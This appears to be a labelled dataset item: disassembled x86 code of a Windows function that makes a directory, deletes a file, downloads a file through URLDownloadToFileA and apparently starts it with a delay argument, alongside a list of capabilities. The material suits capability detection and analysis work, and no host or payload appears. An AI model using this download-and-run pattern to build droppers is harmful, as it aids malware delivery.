Function at 0x417e60
Capabilities:
Check if file exists
Create directory
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4fc1dc
mov eax, dword fs:[0]
push eax
sub esp, 0x274
mov eax, dword [0x5543c8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea ecx, [ebp - 0x1d1]
call fcn.00405b00
mov eax, dword [0x55646c]
test eax, eax
jne 0x417ee8
push 0x200
call fcn.004cd26e
mov esi, eax
add esp, 4
mov dword [ebp - 0x1d8], esi
mov dword [ebp - 4], 0
test esi, esi
je 0x417eda
push 0x200
push 0
push esi
call fcn.004cf400
add esp, 0xc
mov ecx, esi
call fcn.0040c630
jmp 0x417edc
xor eax, eax
mov dword [ebp - 4], 0xffffffff
mov dword [0x55646c], eax
lea ecx, [ebp - 0x1d0]
push ecx
mov ecx, eax
call fcn.0040d370
mov eax, dword [0x55646c]
mov dword [ebp - 4], 1
test eax, eax
jne 0x417f47
push 0x200
call fcn.004cd26e
mov esi, eax
add esp, 4
mov dword [ebp - 0x1d8], esi
mov byte [ebp - 4], 2
test esi, esi
je 0x417f3c
push 0x200
push 0
push esi
call fcn.004cf400
add esp, 0xc
mov ecx, esi
call fcn.0040c630
jmp 0x417f3e
xor eax, eax
mov byte [ebp - 4], 1
mov dword [0x55646c], eax
lea ecx, [ebp - 0x1a0]
push ecx
mov ecx, eax
call fcn.0040d1d0
cmp dword [ebp - 0x148], 0
mov byte [ebp - 4], 3
je 0x41829a
lea eax, [ebp - 0x224]
mov dword [ebp - 0x1d8], eax
lea ecx, [ebp - 0x224]
lea eax, [ebp - 0x1d0]
push eax
call fcn.004029f0
lea eax, [ebp - 0x1b8]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x20c]
call fcn.004029f0
mov edi, dword [ebp - 0x188]
mov byte [ebp - 4], 3
cmp edi, dword [ebp - 0x184]
je 0x41803f
cmp dword [ebp - 0x1f8], 0x10
lea eax, [ebp - 0x20c]
mov edx, edi
cmovae eax, dword [ebp - 0x20c]
cmp dword [edi + 0x14], 0x10
jb 0x417fce
mov edx, dword [edi]
mov esi, dword [edi + 0x10]
cmp esi, dword [ebp - 0x1fc]
jne 0x418030
sub esi, 4
jb 0x417ff1
nop
mov ecx, dword [edx]
cmp ecx, dword [eax]
jne 0x417ff6
add edx, 4
add eax, 4
sub esi, 4
jae 0x417fe0
cmp esi, 0xfffffffc
je 0x41802a
mov cl, byte [edx]
cmp cl, byte [eax]
jne 0x418023
cmp esi, 0xfffffffd
je 0x41802a
mov cl, byte [edx + 1]
cmp cl, byte [eax + 1]
jne 0x418023
cmp esi, 0xfffffffe
je 0x41802a
mov cl, byte [edx + 2]
cmp cl, byte [eax + 2]
jne 0x418023
cmp esi, 0xffffffff
je 0x41802a
mov cl, byte [edx + 3]
cmp cl, byte [eax + 3]
je 0x41802a
sbb eax, eax
or eax, 1
jmp 0x41802c
xor eax, eax
test eax, eax
je 0x41803f
add edi, 0x18
cmp edi, dword [ebp - 0x184]
jne 0x417fb0
lea ecx, [ebp - 0x224]
call fcn.0040cfe0
cmp edi, dword [ebp - 0x184]
jne 0x41829a
lea eax, [ebp - 0x280]
push eax
call fcn.0040b240
mov ecx, eax
call fcn.0040d1d0
cmp dword [eax + 0x14], 0x10
mov byte [ebp - 4], 5
jb 0x418075
mov eax, dword [eax]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov edx, eax
mov dword [ebp - 0x134], 0
mov ecx, edx
mov dword [ebp - 0x130], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x144], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4180a1
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x144]
call fcn.00404480
lea ecx, [ebp - 0x280]
mov byte [ebp - 4], 7
call fcn.0040cb40
lea eax, [ebp - 0x12c]
push eax
call fcn.0040b240
mov ecx, eax
call fcn.0040d500
cmp dword [ebp - 0x130], 0x10
lea eax, [ebp - 0x144]
push dword [ebp - 0x134]
cmovae eax, dword [ebp - 0x144]
lea ecx, [ebp - 0x12c]
push eax
mov byte [ebp - 4], 8
call fcn.00402880
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040b240
mov ecx, eax
call fcn.0040d500
cmp dword [eax + 0x14], 0x10
jb 0x41811e
mov eax, dword [eax]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
push eax
call edi
lea ecx, [ebp - 0x1f4]
mov esi, eax
call fcn.00403880
test esi, esi
jne 0x418169
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040b240
mov ecx, eax
call fcn.0040d500
cmp dword [eax + 0x14], 0x10
jb 0x418153
mov eax, dword [eax]
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHCreateDirectoryExA]
lea ecx, [ebp - 0x1f4]
call fcn.00403880
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x280]
push eax
call fcn.0040b240
mov ecx, eax
call fcn.0040d1d0
cmp dword [ebp - 0x118], 0x10
lea ecx, [ebp - 0x12c]
cmovae ecx, dword [ebp - 0x12c]
cmp dword [eax + 0x14], 0x10
jb 0x4181b3
mov eax, dword [eax]
push 0
push 0
push ecx
push eax
push 0
call sub.urlmon.dll_URLDownloadToFileA
test eax, eax
jne 0x4181e6
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x12c]
cmovae eax, dword [ebp - 0x12c]
push eax
call edi
mov byte [ebp - 0x1d1], 1
test eax, eax
jne 0x4181ed
mov byte [ebp - 0x1d1], 0
lea ecx, [ebp - 0x280]
call fcn.0040cb40
cmp byte [ebp - 0x1d1], 0
je 0x418284
push 0x104
lea eax, [ebp - 0x114]
push 0
push eax
call fcn.004cf400
push dword [ebp - 0x14c]
lea eax, [ebp - 0x114]
push str._delay_d
push eax
call fcn.00404520
add esp, 0x18
lea eax, [ebp - 0x1f4]
push eax
call fcn.0040b240
mov ecx, eax
call fcn.0040d500
cmp dword [ebp - 0x130], 0x10
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 9
cmovae ecx, dword [ebp - 0x144]
cmp dword [eax + 0x14], 0x10
jb 0x418265
mov eax, dword [eax]
lea edx, [ebp - 0x114]
push edx
push ecx
push eax
lea ecx, [ebp - 0x1d9]
call fcn.00406b60
lea ecx, [ebp - 0x1f4]
call fcn.00403880
lea ecx, [ebp - 0x12c]
call fcn.00403880
lea ecx, [ebp - 0x144]
call fcn.00403880
lea ecx, [ebp - 0x1a0]
call fcn.0040cb40
lea ecx, [ebp - 0x1d0]
call fcn.0040cfe0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004cd2ac
mov esp, ebp
pop ebp
ret